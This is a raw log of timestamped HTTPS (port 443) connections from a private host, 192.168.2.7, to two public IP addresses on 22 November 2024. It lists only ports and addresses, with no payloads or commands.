Nov 22, 2024 01:04:01.723253965 CET	50037	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:01.723475933 CET	50037	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:01.723475933 CET	50037	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:01.723485947 CET	443	50037	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:01.723495007 CET	443	50037	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:01.726454020 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:01.726497889 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:01.726583958 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:01.726732016 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:01.726758957 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:01.844249010 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:01.844918013 CET	50040	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:04:01.844930887 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:01.845380068 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:01.845720053 CET	50040	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:04:01.845798016 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:01.895273924 CET	50040	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:04:02.041130066 CET	443	50038	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.044193029 CET	443	50038	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.044377089 CET	50038	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.044377089 CET	50038	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.044377089 CET	50038	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.047516108 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.047561884 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.047646046 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.047797918 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.047811031 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.084367037 CET	443	50039	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.084407091 CET	443	50039	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.084465027 CET	443	50039	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.084600925 CET	50039	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.084844112 CET	50039	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.084853888 CET	443	50039	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.084893942 CET	50039	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.084899902 CET	443	50039	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.087831020 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.087917089 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.088007927 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.088160038 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.088196993 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:02.348268032 CET	50038	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:02.348284960 CET	443	50038	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.291213989 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.291800022 CET	50041	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.291835070 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.292390108 CET	50041	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.292402983 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.496129036 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.496576071 CET	50042	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.496603966 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.497020006 CET	50042	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.497029066 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.735259056 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.738316059 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.738392115 CET	50041	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.738554001 CET	50041	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.738554001 CET	50041	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.738581896 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.738605976 CET	443	50041	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.741245985 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.741352081 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.741440058 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.741609097 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.741642952 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.819497108 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.819966078 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.820012093 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.820281982 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.820298910 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.905656099 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.906054020 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.906097889 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.906471968 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.906483889 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.948426008 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.951564074 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.951632977 CET	50042	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.951703072 CET	50042	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.951715946 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.951745987 CET	50042	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.951750994 CET	443	50042	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.954324961 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.954405069 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:03.954479933 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.954643965 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:03.954679966 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.253076077 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.256124020 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.256433010 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.256433010 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.256433010 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.258611917 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.258642912 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.258708954 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.258838892 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.258851051 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.358773947 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.361885071 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.362169981 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.362169981 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.362169981 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.363826990 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.363898039 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.363974094 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.364106894 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.364139080 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.566005945 CET	50045	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.566055059 CET	443	50045	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:04.675376892 CET	50044	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:04.675445080 CET	443	50044	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.818741083 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.819302082 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:05.819370031 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.819957972 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:05.819972038 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.833738089 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.834079027 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:05.834129095 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.834489107 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:05.834507942 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.995155096 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.996263981 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:05.996289015 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:05.997493029 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:05.997498989 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.084110975 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.085030079 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.085103989 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.086253881 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.086268902 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.252770901 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.255810976 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.255933046 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.261665106 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.261665106 CET	50046	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.261717081 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.261754990 CET	443	50046	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.264198065 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.264244080 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.264333010 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.264456034 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.264463902 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.283040047 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.285962105 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.286046028 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.286108017 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.286156893 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.286191940 CET	50047	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.286206961 CET	443	50047	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.290494919 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.290580034 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.290688038 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.291066885 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.291098118 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.430991888 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.434026957 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.434092045 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.434104919 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.434189081 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.434307098 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.434391022 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.434397936 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.434422970 CET	50048	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.434427023 CET	443	50048	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.436295033 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.436359882 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.436505079 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.436620951 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.436639071 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.504548073 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.505008936 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.505034924 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.505460978 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.505472898 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.555035114 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.558121920 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.558303118 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.558303118 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.558303118 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.560148001 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.560209990 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.560317993 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.560435057 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.560456038 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.863559008 CET	50049	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.863595963 CET	443	50049	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.982920885 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.985972881 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.986053944 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.986239910 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.986239910 CET	50043	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.986260891 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.986287117 CET	443	50043	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.989847898 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.989947081 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:06.990056038 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.990298986 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:06.990331888 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.077008009 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.077579975 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.077605009 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.078082085 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.078094006 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.143655062 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.144186020 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.144196987 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.144628048 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.144633055 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.228152037 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.228710890 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.228732109 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.229125977 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.229132891 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.417573929 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.418354988 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.418433905 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.418802977 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.418817043 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.520386934 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.523464918 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.523546934 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.523600101 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.523627996 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.523653984 CET	50051	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.523672104 CET	443	50051	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.526700974 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.526758909 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.526851892 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.527013063 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.527039051 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.605417967 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.608441114 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.608546972 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.608599901 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.608658075 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.608658075 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.608671904 CET	50050	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.608678102 CET	443	50050	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.611552954 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.611592054 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.611681938 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.611836910 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.611850023 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.671478033 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.674546003 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.674628973 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.674658060 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.674681902 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.674740076 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.674910069 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.674932957 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.674946070 CET	50052	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.674953938 CET	443	50052	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.691459894 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.691483974 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.691602945 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.691971064 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.691986084 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.805905104 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.806505919 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.806524992 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.806991100 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.806996107 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.868957996 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.872190952 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.872375965 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.872376919 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.872376919 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.875528097 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.875566006 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:08.875680923 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.875823975 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:08.875837088 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.177072048 CET	50053	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.177138090 CET	443	50053	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.243422031 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.246573925 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.249329090 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.249437094 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.249438047 CET	50054	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.249483109 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.249566078 CET	443	50054	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.252866030 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.252887964 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:09.252962112 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.253089905 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:09.253103018 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.305284977 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.326116085 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.326209068 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.326558113 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.326574087 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.412208080 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.457884073 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.469674110 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.525382996 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.555623055 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.555632114 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.556138992 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.556143045 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.569937944 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.569948912 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.570358992 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.570363998 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.600620985 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.621970892 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.621980906 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.622400045 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.622404099 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.748424053 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.751554012 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.751614094 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.752765894 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.752784967 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.752815008 CET	50055	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.752827883 CET	443	50055	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.759490013 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.759517908 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.759581089 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.759740114 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.759752989 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.872689009 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.875840902 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.876436949 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.876595020 CET	50057	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.876610041 CET	443	50057	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.881289005 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.881314039 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.881375074 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.882047892 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.882061958 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.924036026 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.927081108 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.927141905 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.927164078 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.927196980 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.927253962 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.928697109 CET	50056	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.928720951 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.928731918 CET	50056	443	192.168.2.7	13.107.246.63
